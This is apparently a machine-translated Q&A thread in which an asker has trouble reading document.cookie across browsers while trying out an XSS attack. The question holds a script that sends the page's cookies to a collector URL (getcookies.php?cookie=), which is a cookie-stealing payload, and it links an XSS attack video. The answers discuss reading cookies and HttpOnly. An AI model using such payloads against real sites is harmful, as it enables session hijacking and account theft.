2012-05-08 248 views
0

我必须使用JavaScript来读取cookie。我正在使用document.cookie来做同样的事情。但该方法仅适用于谷歌浏览器,而不适用于Firefox和IE 8/9。所有的网页也显示document.cookie作为一种方式来做到这一点。无法在Firefox和IE中读取Cookie

如何使用JavaScript在Firefox和IE中获取cookie?

感谢

UPDATE 我测试在本地主机上我的代码。在线测试代码blogspot.com,它甚至没有在Chrome上工作。

任何方式,这里的HTML代码:

<script type="text/javascript"> 
    function sendCookies(){ 
     document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie); 
    } 
</script> 
<a onclick="sendCookies()" href="#"> 
click here </a> to know about XSS attack. 

在调试在浏览器中document.cookie,它显示只有铬值。如果我将本地主机替换为在线链接,即使在Chrome上,document.cookie也是空的。

你可能的猜测是正确的。这是一种跨站脚本攻击。

对这段代码的任何帮助对我都有好处?

更新2:

这里的链接到它展示了如何执行XSS攻击的视频:使用jQuery的饼干

How to perform XSS attack

+0

'document.cookie **是**的方式来做到这一点。如果它不起作用,那么您对您正在阅读的文档或您尝试阅读的cookie的解释可能存在错误。您需要提供更多关于您的具体问题的信息,以便人们提供更有用的帮助,然后链接到您所拥有的教程,据推测,这些教程已经阅读。 – Quentin

回答

2

你试过吗? https://github.com/carhartl/jquery-cookie 另外,请记住,您无法使用JavaScript阅读仅含http的cookie。但是,如果您可以通过Chrome浏览器读取cookie,则它不是仅限于http的cookie。您可以通过访问chrome中的调试控制台的资源选项卡并检查HTTP列是否具有cookie的刻度标记来检查cookie是否仅为http。

+0

我没有使用jquery.cookie.js。但它看起来像不会获取所有的cookie,比如'$ .cookie()'。我只在提供一个密钥时才提取cookie,比如'$ .cookie('key')'。因为我必须阅读像“document.cookie”这样的所有cookies。 –

+0

@ kush.impetus事实上,这是错误的 - 它确实获取所有cookie。你可以这样做:'.cookie('cookie_name');'获取值并设置一个:'.cookie('name','value',{expires:20});'阅读这篇文章关于使用jQuery Cookie的一个很好的教程:http://www.electrictoolbox.com/jquery-cookies/ – Nathan

+0

谢谢Nathan。我试过你的代码。现在,该网页中的代码所做的只是获取我们使用$ .cookie(“key”,“value”)创建的cookie,而不是该浏览器中已存在的cookie。我再次使用Chrome来测试代码。 Chrome显示(在Developer Tools的Resources标签中)已经存在的10-12个Cookie的域名是**。blogger.com **。此外,它显示了我通过'.cookie(“key”,“value”)创建的cookie,但是它们的域名是** username.blogspot.in **。都在一个列表中。这也许就是为什么我无法获取所有cookie的原因。你的评论? –